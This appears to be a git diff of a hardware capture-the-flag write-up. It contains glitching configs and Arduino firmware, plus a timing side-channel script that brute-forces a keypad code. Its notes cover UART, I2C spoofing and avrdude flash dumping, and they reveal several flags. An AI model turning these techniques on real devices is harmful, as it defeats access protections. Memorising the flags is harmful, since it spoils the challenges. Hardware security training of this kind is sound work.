+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
+ end_time = time.time()
+
+ # Use the Arduino-provided LOW duration, fallback to timer if needed
+ duration = result.get("duration_ms", int((end_time - start_time) * 1000))
+ functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
+
+ results[test_pin] = duration
+ time.sleep(0.3)
+
+ # Select candidate with longest duration (correct digit)
+ correct_pin = max(results, key=results.get)
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
+ functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
+ f"{pin_to_symbol.get(correct_pin)}")
+ code_sequence.append(correct_pin)
+
+ translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/docs/09_arduino.ino b/docs/09_arduino.ino
new file mode 100644
index 0000000..9d7d09b
--- /dev/null
+++ b/docs/09_arduino.ino
@@ -0,0 +1,352 @@
+/*
+=====================================================================
+ARDUINO SERIAL PIN CONTROL AND MONITORING FIRMWARE
+=====================================================================
+Version: 1.3.0
+Author: [Your Name]
+Board Support: UNO, NANO, MEGA2560, LEONARDO (auto-detected)
+
+DESCRIPTION
+---------------------------------------------------------------------
+This firmware enables external control and monitoring of Arduino
+digital pins through a serial interface. It is designed for
+integration with Python or similar host software.
+
+The firmware supports dynamic pin-mode configuration, runtime
+output control, input monitoring, duration measurement, and pin-map
+query. All commands and responses use ASCII text terminated by '\n'.
+
+=====================================================================
+ASCII COMMAND REFERENCE
+=====================================================================
+
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| COMMAND | EXAMPLE REQUEST | EXAMPLE RESPONSE | DESCRIPTION |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+| GET_VERSION | GET_VERSION | VERSION:1.3.0 | Returns firmware version to confirm serial communication. |
+| | | | |
+| SET_MODE | SET_MODE:8:OUTPUT | ACK:SET_MODE:8:OUTPUT | Configures a pin as INPUT or OUTPUT dynamically. |
+| | SET_MODE:2:INPUT | ACK:SET_MODE:2:INPUT | |
+| | | | |
+| GET_PINMAP | GET_PINMAP | PINMAP:INPUT:2;OUTPUT:8,9,10,11 | Returns the current input and output pin assignments. |
+| | | | |
+| SET_DEFAULT | SET_DEFAULT:8:HIGH | ACK:SET_DEFAULT:8:HIGH | Sets an output pin to a default state until changed. |
+| | | | |
+| SET_FOR | SET_FOR:9:HIGH:500 | ACK:SET_FOR:9:HIGH:500 | Sets an output pin to a state for a duration (ms). |
+| | | | Automatically reverts afterwards. |
+| | | | |
+| WATCH | WATCH:2 | ACK:WATCH:2 | Begins monitoring an input pin. Reports state changes as: |
+| | | CHANGE:2:HIGH:1421 | - Pin number, new state, and duration since last change. |
+| | | | |
+| GET_STATE | GET_STATE:2 | STATE:2:LOW | Returns current digital state of a specified pin. |
+| | | | |
+| GET_DURATION | GET_DURATION:2 | DURATION:2:1431 | Returns elapsed time since the pin’s last state change. |
+| | | | |
+| WAIT_FOR | WAIT_FOR:2:HIGH | WAIT_RESULT:2:HIGH:1432 | Waits until a pin reaches target state; returns duration. |
+| | | | |
+| ERROR HANDLING | UNKNOWN COMMAND | ERROR:UNKNOWN_COMMAND | Returned if a command is unrecognised or malformed. |
++----------------+--------------------------------+-------------------------------------+-------------------------------------------------------------+
+
+=====================================================================
+OPERATIONAL NOTES
+---------------------------------------------------------------------
+- Baud rate: 115200
+- Line termination: newline ('\n')
+- States are HIGH or LOW
+- Durations in milliseconds
+- All commands and responses are ASCII
+
+=====================================================================
+*/
+
+#include
+
+// ------------------------------------------------------------------
+// Board-specific pin range detection
+// ------------------------------------------------------------------
+#if defined(ARDUINO_AVR_UNO) || defined(ARDUINO_AVR_NANO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#elif defined(ARDUINO_AVR_MEGA2560)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 53;
+#elif defined(ARDUINO_AVR_LEONARDO)
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#else
+ const int FIRST_PIN = 2;
+ const int LAST_PIN = 13;
+#endif
+
+const int NUM_PINS = LAST_PIN - FIRST_PIN + 1;
+
+// ------------------------------------------------------------------
+// Dynamic role and state tracking
+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
